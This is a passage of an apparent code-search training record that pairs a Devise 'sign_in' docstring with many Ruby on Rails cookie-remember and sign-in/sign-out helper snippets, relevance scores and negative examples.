"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember!\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def user_remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(account)\n account.remember\n cookies.permanent.signed[:account_id] = account.id\n cookies.permanent[:remember_token] = account.remember_token\n end",
"def user_remember(user)\n user.remember_user\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.save_remember_digest\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id \n\t\tcookies.permanent[:remember_token] = user.remember_token\t\n\tend",
"def remember(user)\n user.remember\n # The \"signed\" method encrypts the user_id, since cookies are not themselves encrypted\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\tuser.remember\n\tcookies.permanent.signed[:user_id] = user.id\n\tcookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.set_remember_token\n cookies.permanent.signed[:user_id] = user.id\n #user.remember_token is the User::remember_token class variable, \n #no getters on the rails train...\n cookies.permanent[:remember_token] = user.remember_token\n \n end",
"def sign_in(user)\n # save current_user in remember_token cookie\n self.current_user = user \n cookies.permanent.signed[:remember_token] = [user.email, user.salt] \n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id # encrypt the user_id instead of plaintext\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n # make a call to user.remember in our session controller remember method\n user.remember\n\n # now place the 2 cookies on the browser:\n # step 1:\n # cookies[:user_id] = { value: user.id, expires: 20.years.from_now.utc } -- same as:\n # cookies.permanent[:user_id] = user.id -- but this leaves user.id unencrypted..\n # session will encrypt user.id, but cookies will not so we need to call signed ..\n cookies.permanent.signed[:user_id] = user.id\n\n # step 2:\n # here we set random string(user.remember_token) to our cookies remember token..\n cookies.permanent[:remember_token] = user.remember_token\n\n # now lets modify current user to pull out permanent cookie if the user is NOT logged in..\n end",
"def remember(user)\n user.remember\n cookies.permanent.encrypted[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(employee)\n employee.remember\n cookies.permanent.signed[:employee_id] = employee.id\n cookies.permanent[:remember_token] = employee.remember_token\n end",
"def remember(user)\n user.remember\n # cookies[:remember_token] = { value: user.remember_token, expires: 10.days.from_now.utc }\n # cookies.signed[:user_id] = { value: user.id, expires: 10.days.from_now.utc }\n cookies.permanent[:remember_token] = user.remember_token\n cookies.permanent.signed[:user_id] = user.id\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id #store the user id into cookies\n cookies.permanent[:remember_token] = user.remember_token #store the token into cookies\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id]= user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n # abort(@session[:user_id].to_s)\n # cookies.permanent.signed[:user_id] = user.id\n # cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember\n self.remember_token = Admin.new_token\n update_attribute(:remember_digest, Admin.digest(remember_token))\n end",
"def remember\n self.remember_token = Admin.new_token\n update_attribute(:remember_digest, Admin.digest(remember_token))\n end",
"def remember\n self.remember_token = Band.new_token\n update_attribute(:remember_digest, Band.digest(remember_token))\n end",
"def remember(user)\n user.persist\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember\n self.remember_token = User.generate_remember_token\n update_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember(user)\n user.remember\n # Because we want the user id to be paired with the permanent remember token,\n # we should make it permanent as well, which we can do by chaining the signed\n # and permanent methods:\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def login_from_cookie\nuser = cookies[:auth_token] && User.find_by_remember_token(cookies[:auth_token])\nif user && user.remember_token?\ncookies[:auth_token] = { :value => user.remember_token, :expires => user.remember_token_expires_at }\nself.current_user = user\nend\nend",
"def remember(usuario)\n usuario.remember\n cookies.permanent.signed[:usuario_id] = usuario.id\n cookies.permanent[:remember_token] = usuario.remember_token\n end",
"def remember(user)\n user.remember # remember methode wird aufgerufen. user bekommt token und remember digest\n cookies.permanent.signed[:user_id] = user.id #we’ll use a signed cookie, which securely encrypts the cookie before placing it on the browser. we should make it permanent(expire after 20 years) as well, which we can do by chaining the signed and permanent methods\n cookies.permanent[:remember_token] = user.remember_token #der remember_token wird ebenfalls \"permanent\"\" im cookie gespeichert\n end",
"def customer_remember(customer)\n customer.remember\n cookies.permanent.signed[:customer_id] = customer.id\n cookies.permanent[:remember_token] = customer.remember_token\n end",
"def session_remember\n httpsession = Thread.current[:hayabusa][:httpsession]\n raise \"Could not figure out HTTP-session.\" if !httpsession\n session = httpsession.session\n raise \"Could not get session-variable from HTTP-session.\" if !session\n session[:remember] = 1\n \n self.cookie(\n \"name\" => \"HayabusaSession\",\n \"value\" => _httpsession.session_id,\n \"path\" => \"/\",\n \"expires\" => Time.now + 32140800 #add around 12 months\n )\n end",
"def remember\n self.remember_token = Incline::User::new_token\n update_attribute(:remember_digest, Incline::User::digest(self.remember_token))\n end",
"def remember user\n # generates the remember token and saves it's encrypted form to the db\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def handle_remember_cookie!(new_cookie_flag, klass)\n class_name = get_klass_name(klass)\n return unless @current_user\n if new_cookie_flag\n @current_user.remember_me \n else\n @current_user.refresh_token if valid_remember_cookie?(class_name) # keeping same expiry date\n end\n @current_user.reload\n cookie_options = {\n value: @current_user.remember_token,\n expires: @current_user.remember_token_expires_at\n }\n write_cookie!(klass, cookie_options)\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent.signed[:remember_token] = user.remember_token\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n \tself.remember_token = User.new_token\n \tupdate_attribute(:remember_digest, User.digest(remember_token))\n end",
"def remember\n self.remember_token = Staff.new_token\n update_attribute(:remember_digest, Staff.digest(remember_token))\n end",
"def remember(user)\n user.remember\n\n # Because using: cookies[:user_id] = user.id, it places the id as plain text, this method exposes the form of the application’s cookies \n # and makes it easier for an attacker to compromise user accounts. \n # To avoid this problem, we’ll use a signed cookie, which securely encrypts the cookie before placing it on the browser\n # permanent is short for 20.years.from_now.utc, refer to tutorial 8.4.2\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember\n self.remember_token_expires_at = 1.weeks.from_now.utc\n self.remember_token = Cryptography.encrypt_with_salt(\n SecureRandom.hex(10),\n remember_token_expires_at)\n save(false)\n end",
"def remember\n self.remember_token = Administrator.new_token\n update_attribute(:remember_digest, Administrator.digest(remember_token))\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end"
] | [
"0.7479166",
"0.74032325",
"0.7398492",
"0.7386852",
"0.73616815",
"0.7346154",
"0.7326274",
"0.7320403",
"0.7293363",
"0.7244919",
"0.7242219",
"0.7148867",
"0.71374226",
"0.71365684",
"0.70657307",
"0.7047959",
"0.70178366",
"0.6999937",
"0.69996536",
"0.6999407",
"0.6994435",
"0.69872844",
"0.6979059",
"0.6972329",
"0.6941647",
"0.6936023",
"0.69317937",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.69263077",
"0.6910818",
"0.69074816",
"0.6906927",
"0.6895645",
"0.6876511",
"0.687418",
"0.68707687",
"0.68621206",
"0.68594587",
"0.685138",
"0.6844601",
"0.6844536",
"0.68409383",
"0.6836381",
"0.6834698",
"0.6821237",
"0.68109286",
"0.6802399",
"0.67885447",
"0.678027",
"0.678027",
"0.6774586",
"0.6766133",
"0.6762816",
"0.6761689",
"0.67595506",
"0.67570794",
"0.67403585",
"0.67389995",
"0.6737139",
"0.6736806",
"0.67309827",
"0.6722408",
"0.6707376",
"0.6707251",
"0.6707251",
"0.6707251",
"0.6707251",
"0.6704399",
"0.6703413",
"0.67033637",
"0.6702778",
"0.66985434"
] | 0.72710466 | 10 |
Sign in a user that already was authenticated. This helper is useful for logging users in after sign up. All options given to sign_in is passed forward to the set_user method in warden. If you are using a custom warden strategy and the timeoutable module, you have to set `env["devise.skip_timeout"] = true` in the request to use this method, like we do in the sessions controller: Examples: | def sign_in(resource_or_scope, *args); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sign_in(user)\n login_as user\n end",
"def sign_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n if integration_test?\n post_via_redirect user_session_path, 'user[email]' => user.email, 'user[password]' => password#, 'user[remember_me]' => remember_me\n else\n session[:user_id] = user.id\n end\n end",
"def sign_in(*args)\n warden.set_user *args\n end",
"def sign_in_user user\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n sign_in user\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n if integration_test?\n post user_session_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else\n session[:user_id] = user.id\n end\n end",
"def sign_in(user:, password:)\n post user_session_path \\\n \"user[email]\" => user.email,\n \"user[password]\" => password\n end",
"def sign_in_as(user:, password:)\n post user_session_path \\\n 'user[email]' => user.email,\n 'user[password]' => password\n end",
"def my_sign_in(user)\n password = user.password || \"password\"\n post_via_redirect user_session_path, user: {email: user.email, password: password}\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n if integration_test?\n post login_path, params: {\n session: { email: user.email, password: password }\n }\n else\n session[:user_id] = user.id\n end\n end",
"def sign_in (user)\n current_user = user\n end",
"def sign_in user\n \t# takes the user object and sets session data using said object\n \tsession[:user_id] = user.id\n \tself.current_user = user\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n # in integration tests, we can post to the sessions path,\n # but in other tests we won't be able to, so we need to check\n if integration_test?\n # create a user\n post login_path, session: {email: user.email,\n password: password,\n remember_me: remember_me}\n else\n # if not in integration test, then we need to manipulate the session method\n # directly (not really sure)\n session[:user_id] = user.id\n end\n end",
"def sign_in(user)\n @current_user = user\n session[:user_id] = user.try(:id)\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n if integration_test?\n post login_path, session: { email: user.email, password: password, remember_me: remember_me }\n else\n session[:user_id] = user.id\n end\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n if integration_test?\n post login_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else\n session[:user_id] = user.id\n end\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n if integration_test?\n post login_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else\n session[:user_id] = user.id\n end\n end",
"def log_in_as(user, options = {})\n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n\n if integration_test?\n # We don't have access to session variables.\n post login_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else\n # Manipulate the session method directly.\n session[:user_id] = user.id\n end\n end",
"def sign_in(user, password)\n post login_path, params: {session: {email: user.email, password: password}}\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user, options = {})\n \n password = options[:password] || 'password'\n remember_me = options[:remember_me] || '1'\n \n if integration_test?\n post vlogin_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else\n session[:user_id] = user.id\n end\n end",
"def sign_in_as(user, remember_me=false)\n # Always reset session on sign in, as extra protection against session\n # fixation attacks.\n reset_session\n session[:user_id] = user.id\n if remember_me\n user.ensure_auth_token!\n cookies.permanent[:auth_token] = user.auth_token\n end\n end",
"def sign_in(user)\n post sessions_path, params: { email: user.email, password: 'mypass' }\n end",
"def sign_in(user)\n sign_out\n\n user.touch(:last_login_at)\n user_session = user.sessions.new(ip_address: request.remote_ip, user_agent: request.user_agent)\n if user_session.save\n user.password_resets.delete_all\n @current_session = user_session\n end\n end",
"def logging_in \n @user = User.find(current_user.id)\n sign_in @user\n\n redirect_to after_sign_in_path_for(@user)\n end",
"def sign_in(user)\n if user.kind_of?(String)\n login_as(devise_user_class.find_by_email!(user))\n elsif user.class.name.end_with?('User')\n raise 'user must be persisted' unless user.persisted?\n user.reload\n\n devise_scope = user.class.name.underscore.gsub('/', '_').to_sym\n login_as(user, scope: devise_scope)\n elsif user == false\n true # Do nothing\n else\n raise 'sign_in(user) expected a User or an email String'\n end\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user, options = {})\n # note the password must match with the users.yml in fixtures folder\n password = options[:password] || \"123456\" # a better way would be to use fetch\n remember_me = options[:remember_me] || \"1\"\n if integration_test? # if it is integration test\n post login_path, session: { email: user.email,\n password: password,\n remember_me: remember_me }\n else # if not integration test, set this\n session[:user_id] = user.id\n end\n end",
"def sign_in!(user)\n user.is_a?(Account) ? self.current_account = user : self.current_user = user\n end",
"def sign_in(user)\n login_as(user, scope: :user)\n visit root_path\n end",
"def signed_in_user\n unless signed_in?\n # If not signed in, save current location in session object\n # to be able to redirect after successful sign in.\n session[:return_to] = request.url\n # prompt sign in page\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def sign_in(user)\n\tvisit signin_path\n\tfill_in \"Email\", with: user.email\n\tfill_in \"Password\", with: user.password\n\tclick_button \"Sign in\"\n\n\t# filling in the form doesn’t work when not using Capybara\n\tcookies[:remember_token] = user.remember_token\nend",
"def sign_in(user)\n user.regenerate_auth_token\n cookies[:auth_token] = user.auth_token\n @current_user = user\n end",
"def sign_in(user)\n user.regenerate_auth_token\n cookies[:auth_token] = user.auth_token\n @current_user = user\n end",
"def sign_in(user)\n user.regenerate_auth_token\n cookies[:auth_token] = user.auth_token\n @current_user = user\n end",
"def login(user)\n @request.env['devise.mapping'] = Devise.mappings[:user]\n sign_in(user)\n end",
"def signIn_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def sign_in(user)\n remember_token = User.new_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_digest, User.digest(remember_token))\n cookies.permanent.signed[:user_id] = user.id\n self.current_user = user\n end",
"def sign_in(user)\n\tvisit signin_path\n\tfill_in \"Email\", with: user.email\n\tfill_in \"Password\", with: user.password\n\tclick_button \"Sign in\"\n\t # Sign in when not using Capybara as well.\n\tcookies[:remember_token] = user.remember_token;\nend",
"def sign_in_as(user)\n #post user_session_url, params: { sig: user.perishable_signature }\n post user_session_url, params: { session: { email: user.email, password: user.password } }\n end",
"def simple_sign_in(user)\n\t\tself.current_user = user\n\tend",
"def custom_user_sign_in\n if current_user.nil?\n session[:return_location] = request.referrer\n redirect_to new_user_session_path\n else\n redirect_to request.referrer || root_path\n end\n end",
"def sign_in_as(user, password)\n post login_path, { sessions: {email: user.email, password: password} } # OPL => https://stackoverflow.com/questions/43850509/undefined-method-for-nilnilclass-error-while-submitting-form-and-rails-te\n end",
"def sign_in(user)\n\tvisit signin_path\n\tfill_in \"Name\", with: user.name\n\tfill_in \"Password\", with: user.password\n\tclick_button \"Sign in\"\n\n\t# filling in the form doesn’t work when not using Capybara\n\tcookies[:remember_token] = user.remember_token\nend",
"def sign_in\n session[:user_id] = @user.id\n end",
"def signed_in_user\n unless signed_in?\n # store friendly URL so we can redirect after signin (stored in session)\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signin(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n post user_session_path \\\n 'user[email]'=> user.email,\n 'user[password]'=> user.password\n end",
"def sign_in_as(user)\n post \"/login\", params: {\n login: {\n email: user.email,\n password: 'testpassword'\n }\n }\n end",
"def sign_in_as(user)\n @request.env[:clearance].sign_in(user)\n user\n end",
"def signed_in_user\n unless signed_in?\n store_location # for friendly forwarding\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n logger.debug \"***signed_in_user - Detected signed in user...\"\n end",
"def sign_in(user)\n remember_token = User.new_remember_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_token, User.hash(remember_token))\n self.current_user = user\n end",
"def sign_in(user)\n remember_token = User.new_remember_token\n cookies.permanent[:remember_token] = remember_token\n user.update_attribute(:remember_token, User.hash(remember_token))\n self.current_user = user\n end",
"def log_in_as(user) # with devise gem\n if integration_test?\n include Devise::Test::IntegrationHelpers\n else\n sign_in(user, scope: :user)\n end\n login_as(user, :scope => user)\n end",
"def sign_in(user, password, auto_signout)\n remember_token = user.try_sign_in(password)\n if remember_token\n auto_signout_time = auto_signout ? ShiftTime.next_shift_start : 20.years.from_now\n cookies[:auto_signout_time] = auto_signout_time\n flash[:notice] = \"You will be automatically signed out in #{distance_of_time_in_words_to_now(auto_signout_time)}\"\n cookies.permanent[:remember_token] = remember_token\n self.current_user = user\n end\n end",
"def signed_in_user\n\t\t\tunless signed_in?\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, flash: {warning: \"Please sign in.\"}\n\t\t\tend\n\t\tend",
"def sign_in(user = double('user'))\r\n if user.nil?\r\n allow(request.env['warden']).to receive(:authenticate!).and_throw(:warden, {:scope => :user})\r\n allow(controller).to receive(:current_user).and_return(nil)\r\n else\r\n allow(request.env['warden']).to receive(:authenticate!).and_return(user)\r\n allow(controller).to receive(:current_user).and_return(user)\r\n # allow(controller).to receive(:user_signed_in).and_return(user_signed_in)\r\n end\r\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end\n end",
"def sign_in(user)\n session[:session_token] = SecureRandom.urlsafe_base64\n user.update!(session_token: session[:session_token])\n end",
"def log_in_as(user, password: 'password', remember_me: '1')\n post login_path, params: { session: { email: user.email,\n password: password,\n remember_me: remember_me } }\n end",
"def log_in_as(user, password: 'password', remember_me: '1')\n post login_path, params: { session: { email: user.email,\n password: password,\n remember_me: remember_me } }\n end",
"def sign_in_as(user, password)\n # login page expects user e-mail and password to be entered in the form\n #so post to login_path with parameters to open a session\n # email is retrieved from user instance, but password is passed directly to the method by from the calling method\n # just like a user would enter his password from the login screen\n post login_path, session: {email: user.email, password: password}\n \n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to( signin_url, notice: \"Please sign in.\" )\n end\n end",
"def sign_in_user\n @user = FactoryGirl.create(:user, password: STARTER_PASSWORD)\n do_login(@user, STARTER_PASSWORD)\n end",
"def sign_in_as_a_user\n @user ||= FactoryGirl.create :user\n login_as @user\n end",
"def sign_in(user)\n remember_token = User.new_remember_token # create a new remember token\n cookies.permanent[:remember_token] = remember_token # save the remember token on the client side as a cookie\n user.update_attributes remember_token: User.hash(remember_token) # save the remember token on the server side in the DB\n self.current_user = user\n end",
"def signed_in_user\r\n unless signed_in?\r\n store_location\r\n redirect_to signin_url, notice: \"Please sign in.\"\r\n end\r\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def login!(user, options = {})\n session[:session_token] = user.persistence_token\n session[:active_at] = Time.now\n @current_user = user\n end",
"def log_in(user)\n reset_session\n set_user_id_in_session(user.id)\n # Guard against session replay attacks\n session[:session_token] = user.session_token\n end",
"def sign_in(user, permanent: false)\n cookies[:remember_token] = { value: user.remember_token, expires: (Time.now + 2592000 if permanent) }\n self.current_user = user\n end",
"def sign_in(_user = nil)\n expect(session[:user_id]).to be_nil\n @user = create(:user)\n @account = @user.account\n session[:user_id] = @user.id\n expect(session[:user_id]).not_to be_nil\n end",
"def signed_in_user\n\t store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def log_in_as(\n user,\n password: 'password',\n provider: 'local',\n remember_me: '1',\n make_old: false\n )\n # This is based on \"Ruby on Rails Tutorial\" by Michael Hargle, chapter 8,\n # https://www.railstutorial.org/book\n time_last_used = Time.now.utc\n post \"#{login_path}#{'?make_old=true' if make_old}\", params: {\n session: {\n email: user.email, password: password,\n provider: provider, remember_me: remember_me,\n time_last_used: time_last_used\n }\n }\n end",
"def sign_in_user(user)\n wait_until {sign_in.visible?}\n sign_in.click\n enter_credentials(user)\n sign_in_button.click\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n\t\t\tredirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n\t\tend",
"def signed_in_user\n\t\t\tunless signed_in?\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, notice: \"Please sign in.\"\n\t\t\tend\n\t\tend",
"def signed_in_user\n\t\tunless signed_in?\n\t\t\tstore_location\n\t\t\tredirect_to signin_path, notice: \"Please sign in.\"\n\t\tend\n\tend",
"def sign_in_user(user)\n visit new_user_session_path\n fill_in 'Email', with: user.email\n fill_in 'Password', with: user.password\n click_button 'Sign in'\n user\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to root_path, notice: \"Please sign in.\"\n end\n end",
"def sign_in(user, options={})\n# filling in the form doesn’t work when not using Capybara\n if options[:no_capybara]\n # Sign in when not using Capybara.\n # Override default signin method and manipulate the cookies directly\n # necessary when using one of the HTTP request methods directly (get, post, patch, or delete)\n remember_token = User.new_remember_token\n cookies[:remember_token] = remember_token\n user.update_attribute(:remember_token, User.digest(remember_token))\n else\n visit signin_path\n fill_in \"Email\", with: user.email\n fill_in \"Password\", with: user.password\n click_button \"Sign in\"\n end\nend",
"def signed_in\n if user_signed_in?\n true\n else\n redirect_to new_user_session_path\n end\n end",
"def sign_in\n current_session || sign_user_in\nend",
"def signed_in_user\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def create\n user = warden.authenticate!(scope: :user, recall: \"users/sessions#new\")\n set_flash_message(:notice, :signed_in) if is_navigational_format?\n sign_in(\"user\", user)\n respond_with user, :location => after_sign_in_path_for(user)\n end",
"def signed_in_user\n if signed_in?\n return true\n else\n redirect_to signin_url and return false\n end\n end",
"def signed_in_user\n\t\tunless signed_in?\n\t\t\tstore_location\n\t\t\tredirect_to signin_url, notice: \"You have to be logged in to do this\"\n\t\tend\n\tend",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to :signin, notice: \"Please sign in.\"\n end\n end",
"def signed_in\n\t\t\tunless signed_in?#checks if the user is currently signed in, the function is housed in the sessions helper for in depth analysis\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, notice: \"Please sign in.\"\n\t\t\tend\n\t\tend",
"def signed_in_user\n # Listing 9.18: Adding store_location to the signed-in user before filter.\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end"
] | [
"0.74970675",
"0.7296163",
"0.72668797",
"0.70821077",
"0.6933889",
"0.69242007",
"0.692091",
"0.691604",
"0.6896437",
"0.6881414",
"0.6860471",
"0.68602103",
"0.6858463",
"0.6846369",
"0.6824088",
"0.6823251",
"0.68110394",
"0.67820823",
"0.67603713",
"0.67420447",
"0.6735475",
"0.67340064",
"0.67150736",
"0.6685066",
"0.66729766",
"0.6671234",
"0.6666885",
"0.6666885",
"0.6666885",
"0.6666885",
"0.6653364",
"0.66499174",
"0.66357726",
"0.66335404",
"0.66074234",
"0.6605312",
"0.6605312",
"0.6605312",
"0.65818274",
"0.65704024",
"0.65575165",
"0.6550932",
"0.6547177",
"0.6511581",
"0.6504837",
"0.6490282",
"0.6485181",
"0.64845216",
"0.6473692",
"0.6473452",
"0.6466482",
"0.6460426",
"0.64330894",
"0.6427383",
"0.6413223",
"0.6395842",
"0.6395842",
"0.6393762",
"0.6379559",
"0.63627285",
"0.63455606",
"0.63197255",
"0.63197255",
"0.6316334",
"0.6302006",
"0.6298403",
"0.6298403",
"0.62816226",
"0.62783104",
"0.62750643",
"0.62738097",
"0.62696844",
"0.6252823",
"0.62470096",
"0.62470096",
"0.62470096",
"0.6242039",
"0.62258434",
"0.62174404",
"0.62172085",
"0.62158495",
"0.6204717",
"0.62045145",
"0.61961704",
"0.61961704",
"0.61961704",
"0.6195698",
"0.61879313",
"0.6186731",
"0.6185892",
"0.61820155",
"0.61819935",
"0.6175284",
"0.6171229",
"0.61681414",
"0.6148075",
"0.6147995",
"0.6147071",
"0.61452866",
"0.6143821",
"0.6137147"
] | 0.0 | -1 |
Sign out a given user or scope. This helper is useful for signing out a user after deleting accounts. Returns true if there was a logout and false if there is no user logged in on the referred scope Examples: sign_out :user sign_out(scope) | def sign_out(resource_or_scope = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sign_out\n session.sign_out\n end",
"def sign_out\n session.delete :user_id\n @current_user = nil\n end",
"def sign_out(resource_or_scope); end",
"def sign_out(resource_or_scope); end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out\n session.delete(:user_id)\n end",
"def logged_out?\n if session[:user_id]\n redirect_to user_path(current_user)\n else\n true\n end\n end",
"def sign_out\n logout\n end",
"def sign_out\n if @current_user\n session.delete(:user_id)\n redirect_to action: \"index\"\n end\n end",
"def sign_out\n reset_session\n @current_user = nil\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
